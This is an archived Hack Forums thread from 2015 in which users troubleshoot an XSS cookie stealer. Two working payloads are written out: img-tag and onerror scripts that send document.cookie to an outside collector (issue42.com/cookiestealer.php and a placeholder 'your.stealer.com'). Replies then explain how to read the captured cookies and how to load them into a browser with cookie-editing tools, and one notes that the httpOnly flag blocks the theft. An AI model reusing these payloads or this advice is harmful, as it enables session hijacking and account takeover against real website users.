+- Hack Forums (https://hackforums.net)
+-- Forum: Hacks, Exploits, and Various Discussions (https://hackforums.net/forumdisplay.php?fid=45)
+--- Forum: Grayhat • Purple Team • Hybrid Security (https://hackforums.net/forumdisplay.php?fid=449)
+---- Forum: Website Hacking (https://hackforums.net/forumdisplay.php?fid=43)
+---- Thread: XSS Cookie stealer working - Cookie looks odd? (/showthread.php?tid=4987627)
XSS Cookie stealer working - Cookie looks odd? - Skidy - Sep 14, 2015
I don't think I have a stored cookie on the website however if you look at its output:
Code
cookie='+document.cookieIt works if I use: <img src=" http://www.issue42.com/cookiestealer.php?cookie='+document.cookie " onerror= />
That should give me a real cookie if I had one stored shouldn't it?
* - Sharkky - Sep 14, 2015
<img src=a onerror="image = new Image(); image.src='http://your.stealer.com?c='+document.cookie;";>
This one works. You could have made it waaay shorter (creating an image in an image is...not professional at all), but this is what I use and it is reliable.
* - Skidy - Sep 14, 2015
(Sep 14, 2015 11:07 AM)Sharkky Wrote: <img src=a onerror="image = new Image(); image.src='http://your.stealer.com?c='+document.cookie;";>
This one works. You could have made it waaay shorter (creating an image in an image is...not professional at all), but this is what I use and it is reliable.
I am getting this now: COOKIE: c=_ga=GA1.2.34523849.1442243040;%20_gat=1 , what is the cookie part? It all seems merged.
* - Sharkky - Sep 14, 2015
this is your cookie. You got it !
Here look at my hackforum cookies, these are of the same kind
[img]http://img15.hostingpics.net/pics/327322Capture.png[/img]
* - Skidy - Sep 14, 2015
(Sep 14, 2015 11:20 AM)Sharkky Wrote: this is your cookie. You got it !
Here look at my hackforum cookies, these are of the same kind
[img]http://img15.hostingpics.net/pics/327322Capture.png[/img]
How could I change my cookie just to test it? Will it also work with sub-domains?
* - Sharkky - Sep 14, 2015
COOKIE: this is not a cookie
c= I don't know, It looks like an empty cookie
_ga=GA1.2.34523849.1442243040; a cookie
_gat=1 another cookie
* - Skidy - Sep 14, 2015
(Sep 14, 2015 11:23 AM)Sharkky Wrote: COOKIE: this is not a cookie
c= I don't know, It looks like an empty cookie
_ga=GA1.2.34523849.1442243040; a cookie
_gat=1 another cookie
How would I change my cookie to this just to test it?: _ga=GA1.2.34523849.1442243040;, thank you!
* - Sharkky - Sep 14, 2015
(Sep 14, 2015 11:22 AM)benny_boy Wrote: How could I change my cookie just to test it? Will it also work with sub-domains?
It depends on your cookie, but yes it generally works with subdomains.
You can modifiy your cookies with tamper data, live HTTP header, but the most easy way is just to use firebug and its plugin firecookie.
* - Skidy - Sep 14, 2015
(Sep 14, 2015 11:25 AM)Sharkky Wrote: It depends on your cookie, but yes it generally works with subdomains.
You can modifiy your cookies with tamper data, live HTTP header, but the most easy way is just to use firebug and its plugin firecookie.
Whats a firebug? Any tutorials on doing stuff with tamper data?
* - cheatson - Sep 14, 2015
Its not showing the session cookie I suspect because the httpOnly flag is set (meaning javascript can't access it). You can see this in the image posted by Sharkky above. Hitler had a similar problem, as documented by the clip in my cig.